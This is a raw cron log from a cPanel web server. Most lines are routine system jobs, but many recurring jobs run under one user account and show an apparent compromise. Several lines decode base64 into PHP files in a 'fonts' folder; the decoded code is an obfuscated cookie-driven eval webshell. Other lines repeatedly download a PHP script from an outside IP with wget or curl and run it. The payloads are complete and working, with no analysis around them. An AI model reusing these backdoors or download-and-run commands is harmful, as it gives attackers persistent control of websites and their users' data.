Sep 22 00:14:01 ip-184-168-122-23 CROND[10124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:14:01 ip-184-168-122-23 CROND[10127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:14:01 ip-184-168-122-23 CROND[10126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:14:01 ip-184-168-122-23 CROND[10128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:15:01 ip-184-168-122-23 CROND[10242]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 00:15:01 ip-184-168-122-23 CROND[10244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:15:01 ip-184-168-122-23 CROND[10245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:15:01 ip-184-168-122-23 CROND[10247]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 22 00:15:01 ip-184-168-122-23 CROND[10249]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:15:01 ip-184-168-122-23 CROND[10248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:15:01 ip-184-168-122-23 CROND[10251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:15:01 ip-184-168-122-23 CROND[10252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:16:01 ip-184-168-122-23 CROND[10380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:16:01 ip-184-168-122-23 CROND[10384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 00:16:01 ip-184-168-122-23 CROND[10382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:16:01 ip-184-168-122-23 CROND[10383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:16:01 ip-184-168-122-23 CROND[10385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:16:01 ip-184-168-122-23 CROND[10386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:17:01 ip-184-168-122-23 CROND[10490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:17:01 ip-184-168-122-23 CROND[10491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:17:01 ip-184-168-122-23 CROND[10493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:17:01 ip-184-168-122-23 CROND[10492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:18:01 ip-184-168-122-23 CROND[10586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:18:01 ip-184-168-122-23 CROND[10588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:18:01 ip-184-168-122-23 CROND[10590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:18:01 ip-184-168-122-23 CROND[10591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:18:01 ip-184-168-122-23 CROND[10592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:19:01 ip-184-168-122-23 CROND[10690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:19:01 ip-184-168-122-23 CROND[10694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:19:01 ip-184-168-122-23 CROND[10692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:19:01 ip-184-168-122-23 CROND[10693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:20:01 ip-184-168-122-23 CROND[10879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:20:02 ip-184-168-122-23 CROND[10880]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 00:20:02 ip-184-168-122-23 CROND[10883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:20:02 ip-184-168-122-23 CROND[10884]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 00:20:02 ip-184-168-122-23 CROND[10886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:20:02 ip-184-168-122-23 CROND[10887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:20:02 ip-184-168-122-23 CROND[10890]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:20:02 ip-184-168-122-23 CROND[10891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:20:02 ip-184-168-122-23 CROND[10897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:21:01 ip-184-168-122-23 CROND[11006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:21:01 ip-184-168-122-23 CROND[11008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:21:01 ip-184-168-122-23 CROND[11007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:21:01 ip-184-168-122-23 CROND[11009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:22:01 ip-184-168-122-23 CROND[11116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:22:01 ip-184-168-122-23 CROND[11119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:22:01 ip-184-168-122-23 CROND[11120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:22:01 ip-184-168-122-23 CROND[11118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:22:01 ip-184-168-122-23 CROND[11121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:23:01 ip-184-168-122-23 CROND[11226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:23:01 ip-184-168-122-23 CROND[11227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:23:01 ip-184-168-122-23 CROND[11230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:23:01 ip-184-168-122-23 CROND[11229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:24:01 ip-184-168-122-23 CROND[11336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:24:01 ip-184-168-122-23 CROND[11338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:24:01 ip-184-168-122-23 CROND[11339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:24:01 ip-184-168-122-23 CROND[11341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:24:01 ip-184-168-122-23 CROND[11340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:25:01 ip-184-168-122-23 CROND[11446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:25:01 ip-184-168-122-23 CROND[11445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:25:01 ip-184-168-122-23 CROND[11451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:25:01 ip-184-168-122-23 CROND[11450]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:25:01 ip-184-168-122-23 CROND[11454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:25:01 ip-184-168-122-23 CROND[11452]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 00:25:01 ip-184-168-122-23 CROND[11453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
